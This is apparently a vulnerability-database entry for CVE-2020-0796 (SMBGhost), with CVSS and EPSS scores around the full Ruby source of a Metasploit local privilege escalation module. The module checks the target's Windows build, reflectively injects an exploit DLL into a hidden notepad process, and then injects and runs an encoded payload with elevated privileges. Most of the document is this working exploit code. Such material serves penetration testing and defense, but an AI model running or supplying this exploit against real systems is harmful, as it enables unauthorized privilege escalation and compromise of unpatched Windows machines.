10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.7%
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to execute code on a vulnerable server. This local exploit implementation leverages this flaw to elevate itself before injecting a payload into winlogon.exe.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::Remote::AutoCheck
def initialize(info={})
super(update_info(info, {
'Name' => 'SMBv3 Compression Buffer Overflow',
'Description' => %q{
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
execute code on a vulnerable server. This local exploit implementation leverages this flaw to elevate itself
before injecting a payload into winlogon.exe.
},
'License' => MSF_LICENSE,
'Author' => [
'Daniel García Gutiérrez', # original LPE exploit
'Manuel Blanco Parajón', # original LPE exploit
'Spencer McIntyre' # metasploit module
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
#[ 'Windows 10 x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows 10 v1903-1909 x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' =>
{
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2020-0796' ],
[ 'URL', 'https://github.com/danigargu/CVE-2020-0796' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005' ]
],
'DisclosureDate' => '2020-03-13',
'DefaultTarget' => 0,
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
}))
end
def check
sysinfo_value = sysinfo["OS"]
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /10/ && (build_num >= 18362 && build_num <= 18363)
print_error('The exploit only supports Windows 10 versions 1903 - 1909')
return CheckCode::Safe
end
disable_compression = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters","DisableCompression")
if !disable_compression.nil? && disable_compression != 0
print_error('The exploit requires compression to be enabled')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0796', 'CVE-2020-0796.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [encoded_payload.length].pack('I<') + encoded_payload)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.7%